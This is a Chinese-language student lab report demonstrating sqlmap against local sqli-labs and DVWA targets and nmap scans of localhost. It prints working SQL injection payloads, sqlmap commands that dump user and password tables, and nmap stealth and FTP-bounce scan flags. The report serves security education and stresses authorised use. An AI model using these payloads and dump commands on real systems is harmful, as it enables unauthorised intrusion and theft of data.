工具1 sqlmap 的使用过程
一应用范围
SQLMap 的使用范围主要集中在以下几个方面:
1.渗透测试和安全评估: 主要用于授权的渗透测试和安全评估。安全团队或安全专家在获得系统所有者或相关方的书面授权后,可以使用 SQLMap 检测 Web 应用程序中的 SQL 注入漏洞,评估系统的安全性,并提供漏洞修复建议。
2.安全研究和学习: 作为安全领域的学习工具,SQLMap 可以帮助学生和安全研究人员深入了解 SQL 注入漏洞的原理和危害,以及防范这类漏洞的方法。在合法合规的情况下,用于学术或教育目的。
3.黑盒测试和安全审计: 用于对系统进行黑盒测试或安全审计。在这种情况下,使用者可能没有对目标系统的详细了解,但需要确保使用合法合规的方法进行测试。
4.合规的安全审计: 在遵循行业规范和法律法规的情况下,进行合规的安全审计是可以使用 SQLMap 的。这种情况下,严格遵守相关的法律和规定非常重要
SQLMap 是一个用于自动检测和利用 SQL 注入漏洞的开源工具,它专门用于检测和利用 Web 应用程序中的 SQL 注入漏洞。SQL 注入是一种常见的安全漏洞,可以让攻击者执行未经授权的数据库操作,从而获取敏感信息或者破坏数据完整性。
其应用范围及功能细节包括以下几个方面:
二工具的作用
Sqlmap是一款自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞,目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。
采用五种独特的SQL注入技术,分别是:
基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
联合查询注入,可以使用union的情况下的注入。
堆查询注入,可以同时执行多条语句的执行时的注入。
作用
1.自动化漏洞探测: SQLMap 通过对目标 Web 应用程序的请求和响应进行分析,自动探测其中可能存在的 SQL 注入漏洞。它能够检测多种类型的注入点,包括但不限于 GET 参数、POST 参数、HTTP 头部等。
2.多种注入技术支持: 工具支持多种 SQL 注入攻击技术,包括基于布尔逻辑的盲注、基于时间的盲注、报错注入等。这些技术允许 SQLMap 识别漏洞并验证其存在性。
3.多数据库支持: SQLMap 可以应用于多种数据库管理系统,如 MySQL、PostgreSQL、Microsoft SQL Server、Oracle 等,使其能够针对不同类型的数据库进行漏洞检测和利用。
4.详尽的漏洞利用: 一旦检测到 SQL 注入漏洞,SQLMap 能够利用漏洞执行各种操作。例如,获取数据库中的敏感信息、检索表和列的数据、执行系统命令等。
5.报告生成和输出: 工具具备生成详细报告的功能,列出检测到的漏洞、利用的结果以及攻击的详细步骤。这有助于安全专家进行进一步的分析和评估。
6.灵活的参数化攻击: SQLMap 能够针对 GET 和 POST 参数进行测试,发现由于未正确处理用户输入而产生的潜在漏洞。这种能力有助于检测复杂的注入点和攻击面。
三、工具使用流程
SQLMap 的使用流程大致如下:
1.目标选择: 确定目标网站或应用程序,确保在合法授权的范围内进行测试。
2.检测漏洞: 使用 SQLMap 启动漏洞扫描,通过指定目标 URL 或文件路径来开始检测目标系统中的 SQL 注入漏洞。
sqlmap -u <目标URL> --dbs
例如,<目标URL> 可以是带有潜在 SQL 注入点的网址,--dbs 参数表示列出数据库。
3.识别数据库: 当发现存在漏洞后,SQLMap 可以帮助列出数据库。
sqlmap -u <目标URL> --current-db
这个命令将会列出当前数据库。
4.获取数据库表: 通过以下命令可以获取数据库中的表信息。
sqlmap -u <目标URL> -D <数据库名> --tables
替换 <数据库名> 为实际的数据库名称。
5.获取表中数据: 一旦获取了数据库的表信息,可以通过以下命令获取特定表中的数据。
sqlmap -u <目标URL> -D <数据库名> -T <表名> --dump
这将获取指定表的数据,并以可读格式输出。
6.利用其他漏洞操作: SQLMap 还可以利用其他漏洞执行各种操作,如获取更敏感的数据、执行系统命令等。根据需要,可以使用相关的命令和选项进行操作。
7生成报告: 完成测试后,可以使用 SQLMap 生成详细的测试报告,包括检测到的漏洞、利用的结果和攻击的详细步骤。
以sqli-labs靶场和dvwa靶场的高等级为例
sqli-labs
命令1:获取数据库管理系统的标识和检测SQL注入
使用命令python sqlmap.py -u "http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1" --batch --banner
这个命令通过指定URL进行SQL注入漏洞扫描,并获取了目标数据库管理系统的标识为MySQL。
SQLMap 工具检测到的不同类型的 SQL 注入漏洞以及相应的注入 Payload。
让我解释一下每一项的含义:
1.Type: boolean-based blind
Title: 基于布尔型盲注 - WHERE 或 HAVING 子句
Payload: 这种类型的注入是基于布尔逻辑的,尝试通过在条件语句中注入代码来验证真假。例如,id=1' AND 7119=7119 AND 'wAge'='wAge 表示在注入点通过对条件进行修改,来确认是否存在注入漏洞。
2.Type: error-based
Title: 基于错误的注入(针对 MySQL >= 5.6)- WHERE、HAVING、ORDER BY 或 GROUP BY 子句(GTID_SUBSET)
Payload: 这种注入类型通过触发数据库返回错误消息来确认注入是否成功。例如,id=1' AND GTID_SUBSET(CONCAT(0x71626a7871,(SELECT (ELT(5501=5501,1))),0x7162787871),5501) AND 'ZuKW'='ZuKW 中的 GTID_SUBSET 是针对 MySQL 版本大于等于 5.6 的特定注入方式。
3.Type: time-based blind
Title: 基于时间的盲注(针对 MySQL >= 5.0.12)- 时间延迟(query SLEEP)
Payload: 这种注入类型利用数据库在执行恶意注入语句时的延迟来验证注入是否成功。例如,id=1' AND (SELECT 4504 FROM (SELECT(SLEEP(5)))ikTq) AND 'SaMr'='SaMr 尝试通过使数据库执行延时操作来验证是否存在漏洞。
4.Type: UNION query
Title: 通用 UNION 查询(NULL)- 3列
Payload: 这种注入利用 UNION 查询操作来将恶意代码合并到数据库查询语句中。例如,id=-6313' UNION ALL SELECT NULL,NULL,CONCAT(0x71626a7871,0x5946774c4f4b5662564471615a65727a726a4c4c67744b626e68664e6747646273484b6246616e4f,0x7162787871)-- - 尝试将恶意代码注入到查询中进行数据合并。
命令2:获取数据库列表
使用命令python sqlmap.py -u "http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1" --dbs
这个命令成功获取了目标数据库中存在的数据库列表
这是 SQLMap 工具利用 SQL 注入漏洞,尝试获取目标网站上的数据库名称(DBS)信息的输出结果。
命令3:获取特定数据库中的表列表
使用命令python sqlmap.py -u "http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1" -D security --tables
成功列出了数据库名为 'security' 中的所有表。
这是 SQLMap 工具成功检测到名为 'security' 的数据库,并提取了该数据库中的表格信息。以下是数据库 'security' 中的表格列表:
emails: 可能存储有关电子邮件的数据。
referers: 可能存储有关引用来源的数据。
uagents: 可能存储有关用户代理信息的数据。
users: 可能存储有关用户的数据。
命令4:获取特定表的列信息
使用命令python sqlmap.py -u "http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1" -D security -T users --columns
成功获取了 'security' 数据库中 'users' 表的列信息。
命令5:Dump表中的数据
使用命令python sqlmap.py -u "http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1" -D security -T users -C id,password,username --dump
成功导出了 'security' 数据库中 'users' 表中的列 'id'、'password'、'username' 的数据到CSV文件中。
以dvwa sql lnjection的高等级为例
我们发现点击之后会在跳到另一个页面,所以这个想使用sqlmap进行爆破,我们还需要引入一个知识点–second-order(二阶sql注入)有些时候注入点输入的数据看返回结果的时候并不是当前的页面而是另外的一个页面,这时候就需要你指定到哪个页面获取响应判断真假。
-–second-order后面跟一个判断页面的URL地址。
利用burpsuite进行抓包,因为这里无法在页面上获取 post 或者 get 的值。
sqlmap>python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high;PHPSESSID=keuqaijadcudeooggiv3ch4gom" --second-url "http://127.0.0.1/dvwa/vulnerabilities/sqli/" --batch
python sqlmap.py "http://127.0.0.1/dvwa/vulnerabilities/sqli/session-input.php" --data="id=1&Submit=Submit" --cookie="security=high;PHPSESSID=keuqaijadcudeooggiv3ch4gom" --second-url "http://127.0.0.1/dvwa/vulnerabilities/sqli/" --batch -D dvwa -T users -C user,password --dump
到此完成
- 总结
简单的用法:
使用以下命令来测试目标网站是否存在 SQL 注入漏洞:
sqlmap -u <目标 URL>
指定数据库类型:
如果你知道目标数据库的类型,可以使用 --dbms 参数指定数据库类型。例如,MySQL:
sqlmap -u <目标 URL> --dbms=mysql
获取数据库版本:
使用 -v 参数(verbose 模式)来获取更详细的信息,包括数据库版本号:
sqlmap -u <目标 URL> -v
列出数据库:
通过 --dbs 参数来列出目标数据库的所有数据库:
sqlmap -u <目标 URL> --dbs
选择一个数据库:
选择一个数据库并列出其中的表:
sqlmap -u <目标 URL> -D <数据库名> --tables
检查表中的数据:
选择一个表并查看其内容:
sqlmap -u <目标 URL> -D <数据库名> -T <表名> --dump
SQLMap是一款强大的自动化工具。在对目标网址(http://127.0.0.1/sqli/sqli-labs-master/Less-1/?id=1)进行渗透测试时,SQLMap成功检测到了后端的MySQL数据库,并收集了关键信息。主要发现如下:
数据库类型和版本:
后端数据库类型被识别为MySQL 5.7.26。
Web应用采用的技术是Apache 2.4.43和PHP 5.6.9,后端数据库版本为MySQL 5.7.26。
发现的数据库:
SQLMap成功检索到了多个数据库,包括 'information_schema', '"d:\资料\fruitdb.sql"', '实验二', '网上订餐', 'challenges', 'dvwa','exam', 'fruitdb', 'mysql', 'performance_schema', 'security', 'shiyan2', 'supplier_part', 'sys', 'team'。
数据库表格:
在名为 'security' 的数据库中,发现了以下表格:'emails', 'referers', 'uagents', 'users'。这些表格可能包含着有关电子邮件、引用来源、用户代理和用户等方面的数据。
通过SQLMap提供的信息,系统管理员和开发人员能够更好地了解应用程序的安全状态,并采取必要的措施来修复潜在的安全漏洞,保护系统免受潜在的SQL注入攻击。
在整个测试过程中,SQLMap 展现了其强大的自动化检测和利用 SQL 注入漏洞的能力。它使用了多种不同类型的注入方式,包括基于布尔、错误、时间和 UNION 查询等。这次经历不仅仅是一次技术上的探索,更是对安全意识的一次重要提醒。
此次经历也提醒了安全意识的重要性,不仅对于开发人员和管理员,对于任何与网络安全相关的人员来说都是至关重要的。掌握安全最佳实践,学习如何保护系统免受潜在的威胁和攻击,是每个人都应该关注和学习的重要课题。网络安全是一个不断发展和演变的领域,我们应不断学习和更新自己的知识,以确保网络世界的安全与稳定。
五参考文献
《白帽子讲Web安全》 - 作者:吴翰清
《Web前端黑客技术揭秘》 - 作者:陆扬
《黑客攻防:网络安全从入门到精通》 - 作者:高博
工具2 namp 的使用过程
- 应用范围
Nmap,也就是Network Mapper,中文为“网络映射器”。
Nmap是一款开源的网络探测和安全审核的工具,它的设计目标是快速地扫描大型网络。
- 工具的作用
Nmap的应用范围非常广泛,它在计算机网络和安全领域扮演着重要角色。以下是更详细的Nmap应用范围:
1网络发现和拓扑绘制: Nmap可用于扫描大型网络,确定活跃主机并绘制网络拓扑图。这有助于管理员了解网络结构和设备连接。
2漏洞评估和安全审计: 通过识别网络中活跃设备、开放端口和运行服务,Nmap可用于评估系统和网络的安全性,并发现可能存在的漏洞。管理员可以针对检测到的漏洞采取措施进行修复。
3端口扫描和服务识别: Nmap可以检测目标主机上的开放端口,并推断这些端口上运行的服务。这对于识别网络中的设备以及其提供的服务至关重要。
4操作系统识别: 除了服务识别,Nmap还可以推断目标设备的操作系统类型和版本。这有助于管理员了解网络中不同设备的操作系统环境。
5网络监控和变化检测: 管理员可以定期使用Nmap扫描网络,监控网络设备和服务的状态变化。这使他们能够及时发现新设备的加入、服务的变化以及可能的安全问题。
6安全性分析和策略制定: 基于Nmap的扫描结果,管理员可以进行安全性分析,并制定相应的安全策略和措施以保护网络资源。
7网络流量分析: Nmap还可用于捕获和分析网络流量,了解数据传输和通信情况。
总体而言,Nmap是一款多功能的网络扫描工具,能够帮助管理员管理网络、评估安全性、发现潜在的漏洞,并对网络进行监控。它在网络安全、系统管理和渗透测试等领域都具有重要作用。
Nmap常用命令
nmap -sT TCP扫描 全链接扫描
nmap -sS SYN扫描 半链接扫描
nmap -sF FIN扫描 秘密扫描 除SYN、ACK其它位置1
nmap -sX Xmas扫描 秘密扫描 FIN、URG、PUSH位置1
nmap -sN Null扫描 秘密扫描 标志位全为0,发送TCP分组
nmap -sP ping扫描 同时使用ICMP和TCP ACK 80,返回RST说明主机运行(外网)
nmap -sU UDP扫描 发送0字节UDP包,快速扫描Windows的UDP端口
nmap -sA ACK扫描 TCP ACK扫描,当防火墙开启时,查看防火墙有未过虑某端口
nmap -sV 打开系统版本检测
nmap -sW 滑动窗口扫描
nmap -sR RPC扫描
nmap -b FTP反弹攻击(FTP Bounce attack) 外网用户通过FTP渗透内网
- 工具使用流程
kali的命令行中可以直接使用 nmap 命令,打开一个「终端」,输入 nmap 后回车,可以看到 nmap 的版本,证明 nmap 可用。
Nmap有四种基本功能:「端口扫描」、「主机探测」、「服务识别」和「系统识别」。
端口扫描
扫描主机的「开放端口」,在nmap后面直接跟主机IP
这次的Nmap扫描结果显示了针对本地主机(127.0.0.1,也称为localhost)的端口扫描:
主机是活跃的,响应速度很快。
显示了三个开放的TCP端口及其服务:
端口135(msrpc服务):Microsoft Remote Procedure Call (RPC) 服务。
端口445(microsoft-ds服务):Microsoft Directory Services。
端口2869(icslap服务):通常用于Internet Connection Sharing (ICS)。
这次扫描采用了默认的TCP连接扫描,显示了本地主机上这三个端口的状态。
扫描「指定端口」
使用 -p 参数,可以一次扫描单个端口、多个端口、或扫描一个范围的端口
nmap 127.0.0.1 -p 80-3389 -oN 2024.1.7.txt
-oN 后面是生成txt文档存放扫描出来的结果
扫描结束后会以txt文档以命名的2024.1.7txt文档储存
下面查看文档看是否一致
这次Nmap扫描针对本地主机(127.0.0.1)从端口80到端口3389进行了扫描,并将结果保存到指定路径的文件中。
扫描结果显示了四个端口的状态:
端口135开放,运行Microsoft Remote Procedure Call (RPC)服务。
端口137被过滤,Nmap无法确定其具体状态。
端口445开放,运行Microsoft Directory Services。
端口2869开放,通常用于Internet Connection Sharing (ICS)。
同时,显示了3306个关闭的TCP端口(被描述为“closed”状态),这些端口的扫描没有显示出来,可能是因为它们被重新设置(reset)了。
扫描完成后,结果被保存到了您指定的文件路径中(D:\360Downloads\Nmap\2024.1.7.txt)
服务识别
扫描端口时,默认显示端口对应的服务,但不显示服务版本。
想要识别具体的「服务版本」,可以使用 -sV 参数。
这次Nmap扫描是针对本地主机(127.0.0.1,即localhost)的单个端口(端口80)进行的服务版本检测。
扫描结果显示:
端口80(http服务)被描述为“closed”,表示该端口当前处于关闭状态,并且没有正在运行的HTTP服务。
服务检测功能通过尝试识别运行在特定端口上的服务类型和版本。在这种情况下,Nmap检测到端口80处没有正在运行的HTTP服务,因此显示该端口处于关闭状态。
现在开启Apache
这两次Nmap扫描都是针对本地主机(127.0.0.1,即localhost)的端口80进行的服务版本检测。
第一次扫描结果显示:
端口80(http服务)被描述为“closed”,表示该端口当前处于关闭状态,并且没有正在运行的HTTP服务。
而第二次扫描结果显示:
端口80(http服务)被描述为“open”,表示该端口当前处于开放状态,并且运行着Apache httpd 2.4.43服务器。
两次扫描结果不一致,第一次扫描显示端口80关闭且没有HTTP服务运行,而第二次扫描显示端口80开放且运行了Apache httpd 2.4.43服务器。
这种不一致通常出现于不同的时间点进行扫描,第一次扫描时HTTP服务没有运行,但第二次扫描时已经启动。
想要识别「操作系统版本」,可以使用 -O 参数。
这次的Nmap扫描针对本地主机(127.0.0.1,即localhost)的端口80进行了操作系统检测。
扫描结果显示:
端口80处于开放状态,运行着HTTP服务。
扫描警告显示由于未找到足够的开放和关闭端口,操作系统检测结果可能不可靠。
检测的设备类型为通用目的设备(general purpose)。
识别的操作系统为Microsoft Windows 11,版本为21H2。
网络距离显示为0跳,因为是在本地主机上进行的扫描。
扫描结果导出
Nmap的扫描结果可以保存到文件中,比如文本格式、XML格式。
上面在演示主机扫描的时候已经导出过txt文本格式现在导出个xml格式
扫描结果显示:
端口80(http服务)被描述为“open”,表示该端口处于开放状态,运行着HTTP服务。扫描完成后,扫描耗时0.22秒,并且已将结果保存到您指定的文件路径中(D:\360Downloads\Nmap\2024.1.7.xml)。XML格式的文件可以方便地用于后续的分析、处理或导入到其他支持的应用程序中。
- 结论
理解Nmap扫描结果对软件安全学生而言是一次宝贵的学习经历。这次扫描针对本地主机(127.0.0.1)的端口80,为我们呈现了Nmap工具的功能和对系统安全评估的重要性。
Nmap的端口扫描结果展示了目标系统中端口的状态,这包括了端口的开放、关闭或被过滤状态。这对我们来说至关重要,因为端口的开放状态可能意味着潜在的安全风险,而关闭状态则可能降低系统受攻击的风险。
除了端口扫描,Nmap还提供了服务识别的功能。这允许我们了解不同端口上运行的服务类型和版本。对于软件安全学生而言,理解目标系统所运行的具体服务及其版本对于识别和评估可能存在的漏洞至关重要。此外,Nmap还推断出了目标系统的操作系统类型和版本,这对我们进一步了解系统并执行更精准的安全评估有着重要的作用。
然而,在使用这类工具时,必须遵守严格的法律和道德规范。尊重隐私和合规性是非常重要的,我们必须仅针对获得授权的系统进行扫描。
总的来说,通过分析Nmap的扫描结果,我们能够更全面地了解系统的安全性,并在漏洞评估和安全实践中运用这些知识。Nmap作为一款强大的工具,在软件安全学生的学术研究和实践中发挥了重要作用,并为未来的安全领域实践提供了坚实基础。
五、参考文献
1《网络安全攻防技术与实践》
网络扫描、漏洞评估等章节
作者:朱春雷、汤宇健
2《网络安全技术与应用》
Nmap的使用
作者:陈国强、梁旭明、石磊